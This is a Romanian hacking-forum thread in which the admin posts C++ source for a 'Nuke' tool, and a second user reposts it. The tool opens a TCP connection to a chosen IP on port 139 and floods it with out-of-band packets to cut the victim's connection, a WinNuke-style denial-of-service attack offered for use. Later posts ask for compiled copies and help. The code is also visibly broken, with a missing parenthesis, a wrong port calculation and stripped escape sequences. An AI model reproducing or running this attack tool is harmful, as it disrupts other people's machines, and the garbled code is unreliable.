HackStuff...
Aici veti gasi o gama larga de metode de hack atat pe Windows cat si pe platforme Linux/Unix , programe , tutoriale etc. In acelasi timp veti avea si asistenta help . Precizam ca tot ce se gaseste pe acest site este doar in scop de dezvoltare iar voi va asumati intreaga raspundere pt actiunile savarsite.ENJoY --- by andreony ---
Lista Forumurilor Pe Tematici
HackStuff... | Reguli | Inregistrare | Login

POZE HACKSTUFF...

Nu sunteti logat.
Nou pe simpatie:
crazygirl Profile
Femeie
22 ani
Buzau
cauta Barbat
26 - 80 ani
HackStuff... / Hacking! / Nuke rupe conecxiunea - Cod de C++ Moderat de lFx
Autor
Mesaj Pagini: 1
andreony
[admin]

Din: bucharest
Inregistrat: acum 17 ani
Postari: 1062
Nuke rupe conecxiunea - Cod de C++

#include <conio.h>
                                    #include <stdio.h>
                                    #include <winsock.h>struct
                                    {
                                    int port; char *targetIP;
                                    int NumOfAttact, BufSize;} parm;void Pause(void)
                                    {
                                    cprintf ("Apasati orice tasta pentru a renunta...");
                                    getch();
                                    cprintf ("rn");
                                    }
                                    int CheckWinsock()
                                    {
                                    WORD wVersionRequested;
                                    WSADATA wsaData;
                                    int err;
                                    wVersionRequested = MAKEWORD(1, 1);
                                    err = WSAStartup(wVersionRequested, &wsaData);
                                    if (err != 0) return err;
                                    if ( LOBYTE( wsaData.wVersion ) != 1 ||
                                    HIBYTE( wsaData.wVersion ) != 1 )
                                    { WSACleanup(); return -1;
                                    } return 0;}void ParseIP(char* des, char *theIP){ unsigned int val; char i;
                                    for (i = 0; i < 4; i++) { if (*theIP != '') { val = 0;
                                    while (*theIP != '' && *theIP != '.') { val *= 10;
                                    val += *theIP - '0'; theIP++; } des[i]= (char)val;
                                    if (*theIP != '') theIP++; } }}
                                    void ParseParm(int argc, char* argv[]){ char * value;
                                    for (int i=1; i<argc; i++){ if (argv[i][0]=='/'){
                                    argv[i][1]= (char)toupper(argv[i][1]); value = &argv[i][2];
                                    switch (argv[i][1]){ case 'P': parm.port = atoi(value); break;
                                    case 'T': parm.targetIP=value; break;
                                    case 'N': parm.NumOfAttact = atoi(value); break;
                                    case 'S': parm.BufSize = atoi(value); break; } } }}
                                    int main(int _argc, char* _argv[]){ int i, errcode; char *tempbuf;
                                    SOCKET theSocket; sockaddr theAddr;
                                    cprintf ("folosire : Nuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]rn"
                                    " port : portul tinta, folositi 139.rn"
                                    " target: adresa iP "a.b.c.d".rn"
                                    " num: numarul de atacuri, implicit 10.rn"
                                    " size: numarul de biti in fiecare atac, implicit 1024.rnn");
                                    if (CheckWinsock()){ cprintf ("nu merge conexiunea!n");
                                    Pause(); return 1; }
                                    theSocket= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (theSocket==-1){
                                    cprintf ("nu merge conexiunea!rn"); Pause(); WSACleanup(); return 2;
                                    } cprintf ("folosim socket-ul: %drn", theSocket);
                                    parm.port = 139; parm.targetIP= NULL;
                                    parm.NumOfAttact = 10; parm.BufSize = 1024; ParseParm(_argc, _argv);
                                    if (parm.targetIP==NULL){ parm.targetIP = (char*) malloc(256);
                                    cprintf ("Introduceti Ip-ul: "); scanf ("%s", parm.targetIP);
                                    cprintf ("rn"); } theAddr.sa_family = AF_INET;
                                    theAddr.sa_data[0]= (char)(parm.port/256);
                                    theAddr.sa_data[1]= (char)(parm.port%6);
                                    ParseIP(&theAddr.sa_data[2], parm.targetIP;
                                    cprintf ("conexiune la %s pe portul: %drn", parm.targetIP, parm.port);
                                    errcode = connect (theSocket, &theAddr, sizeof(sockaddr)); if (errcode){
                                    cprintf ("Eroare.rnVerificati daca portul este 'pazit' de un daemon.rn");
                                    Pause(); WSACleanup(); return 1; } cprintf ("STATUS: Conectat!!rn");
                                    tempbuf = (char*) malloc(parm.BufSize);
                                    for (i=0; i<parm.BufSize; i++) tempbuf[i]=0;
                                    for (i=0; i<parm.NumOfAttact; i++){
                                    errcode = send (theSocket, tempbuf, parm.BufSize, MSG_OOB);
                                    cprintf ("Atac: %d , trimis ", i); if (errcode==-1) cprintf ("eroare.rn");
                                    else cprintf ("%d bytes.rn", errcode); } free (tempbuf);
                                    closesocket (theSocket); WSACleanup(); cprintf ("gata.rn"); Pause();


_______________________________________
------ eVoLuTiOn ------

pus acum 17 ani
   
Cristyan
Junior

Inregistrat: acum 17 ani
Postari: 1
as vrea si eu daca se poate exploitul acesta compilat
am incercat sa-l compilez in dev-c++ , borland c++, vc++ si nu a mers in niciunul
please sa-l comileze cineva si pt mine ...ma rog.. nu numai pt mine ci pt toti care or sa aiba nevoie de el
               #include <conio.h>
                 #include <stdio.h>
                 #include <winsock.h>struct
                 {
                 int port; char *targetIP;
                 int NumOfAttact, BufSize;} parm;void Pause(void)
                 {
                 cprintf ("Apasati orice tasta pentru a renunta...");
                 getch();
                 cprintf ("rn");
                 }
                 int CheckWinsock()
                 {
                 WORD wVersionRequested;
                 WSADATA wsaData;
                 int err;
                 wVersionRequested = MAKEWORD(1, 1);
                 err = WSAStartup(wVersionRequested, &wsaData);
                 if (err != 0) return err;
                 if ( LOBYTE( wsaData.wVersion ) != 1 ||  HIBYTE( wsaData.wVersion ) != 1 )
                              { WSACleanup(); return -1;
                               } return 0;
                  }
                  void ParseIP(char* des, char *theIP)
                 { unsigned int  val; char i;
                 for (i = 0; i < 4; i++)
                        {
                                  if (*theIP != '')
                                      { val = 0;
                                         while (*theIP != '' && *theIP != '.')
                                              { val *= 10;
                                                 val += *theIP - '0'; theIP++;
                                               }
                                       des[i]= (char)val;
                                if (*theIP != '') theIP++;
                                        }
                           }
                 }
                 void ParseParm(int argc, char* argv[] )
                 { char * value;
                 for (int i=1; i<argc; i++)
                           {
                                if (argv[i][0]=='/')
                                        {
                                                argv[i][1]= (char)toupper(argv[i][1]);
                                                value = &argv[i][2];                 
                                                 switch (argv[i][1])
                {case 'P': parm.port = atoi(value);
                                    break;                 
                 case 'T': parm.targetIP=value;
                                    break;
                 case 'N': parm.NumOfAttact = atoi(value);
                                    break;
                 case 'S': parm.BufSize = atoi(value);
                                    break;
                                           }
                   }
                    }}
                 int main(int _argc, char* _argv[] )
                 { int i, errcode; char *tempbuf;                 
                 SOCKET theSocket;
                 sockaddr theAddr;
                 cprintf ("folosire : Nuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]rn"                 
                 " port : portul tinta, folositi 139.rn"
                 " target: adresa iP "a.b.c.d".rn"
                 " num: numarul de atacuri, implicit 10.rn"
                 " size: numarul de biti in fiecare atac, implicit 1024.rnn");                 
                 if (CheckWinsock())
                          { cprintf ("nu merge conexiunea!n");
                               Pause();
                                return 1;
                          }
                 theSocket= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
                 if (theSocket==-1)
                           {                 
                                cprintf ("nu merge conexiunea!rn");
                                Pause();
                                WSACleanup();
                                 return 2;
                            }
                 cprintf ("folosim socket-ul: %drn", theSocket);
                 parm.port = 139;
                 parm.targetIP= NULL;
                 parm.NumOfAttact = 10;
                 parm.BufSize = 1024;
                 ParseParm(_argc, _argv);                 
                 if (parm.targetIP==NULL)
                              { parm.targetIP = (char*) malloc(256);                 
                              cprintf ("Introduceti Ip-ul: "); scanf ("%s", parm.targetIP);                 
                              cprintf ("rn"); } theAddr.sa_family = AF_INET;
                               theAddr.sa_data[0]= (char)(parm.port/256);
                               theAddr.sa_data[1]= (char)(parm.port%6);
                               ParseIP(&theAddr.sa_data[2], parm.targetIP;
                               cprintf ("conexiune la %s pe portul: %drn", parm.targetIP, parm.port);                 
                               errcode = connect (theSocket, &theAddr, sizeof(sockaddr));                 
             if (errcode){
                                cprintf ("Eroare.rnVerificati daca portul este 'pazit' de un daemon.rn");
                                Pause();
                                WSACleanup();
                                return 1;
                               }
                 cprintf ("STATUS: Conectat!!rn");                 
                 tempbuf = (char*) malloc(parm.BufSize);
                 for (i=0; i<parm.BufSize; i++)
                                tempbuf[i]=0;
                 for (i=0; i<parm.NumOfAttact; i++)
                 {
                               errcode = send (theSocket, tempbuf, parm.BufSize, MSG_OOB);
                               cprintf ("Atac: %d , trimis ", i);
                               if (errcode==-1)
                               cprintf ("eroare.rn");                 
                                          else
                               cprintf ("%d bytes.rn", errcode);
                 } free (tempbuf);
                 closesocket (theSocket);
                 WSACleanup();
                 cprintf ("gata.rn");
                  Pause();
                 }


pus acum 17 ani
   
maleficus
Junior

Inregistrat: acum 17 ani
Postari: 7
foloseste [ code  ] si [ / code]

pus acum 17 ani
   
evil_dexter
Junior

Inregistrat: acum 17 ani
Postari: 1
Cristyan rareori o sa gasesti pe net un exploit FUNCTIONAL la care nu s-a gasit inca o solutie ... nimeni nu pune tools pe net pentru script kiddies.Daca chiar vrei niste exploituri functionale cat de cat le gasesti la si

pus acum 17 ani
   
sharky3010
Junior

Inregistrat: acum 17 ani
Postari: 2
Cand mai postati coduri dati dezactivare la smile-uri k in loc de virgula si 2 pcte se vede o fatza :| si i disperanta faza

Modificat de sharky3010 (acum 17 ani)


pus acum 17 ani
   
andreony
[admin]

Din: bucharest
Inregistrat: acum 17 ani
Postari: 1062
gata

_______________________________________
------ eVoLuTiOn ------

pus acum 17 ani
   
micro
Junior

Inregistrat: acum 17 ani
Postari: 1
all.sunt nou aici!!!
sa ma invete careva despre chestiile astea si pe  mine,daca vreit

nuke rupe cod c++ all.sunt nou aici!!!sa invete careva despre chestiile astea pe  mine,daca

11.4KB


pus acum 17 ani
   
Snoopy
Junior

Inregistrat: acum 17 ani
Postari: 29
andreony referitor la codu de nuke....eu personal nu am c++ aksa si mi la bagat un prieten in c++ da spune k are nevoie d librarii....se poate sa le ai?ms anticipat

pus acum 17 ani
   
biletari
Membru Junior

Inregistrat: acum 16 ani
Postari: 143
as avea si eu nevoie de putin ajutor cu c++ plzzzzzzzzzzzz,se poate explica mai pe larg?

_______________________________________
biletari

pus acum 16 ani
   
biletari
Membru Junior

Inregistrat: acum 16 ani
Postari: 143
ma poate ajuta cinva sa lucrez cucrimson editor?mssssssssss

_______________________________________
biletari

pus acum 16 ani
   
Pagini: 1  

Mergi la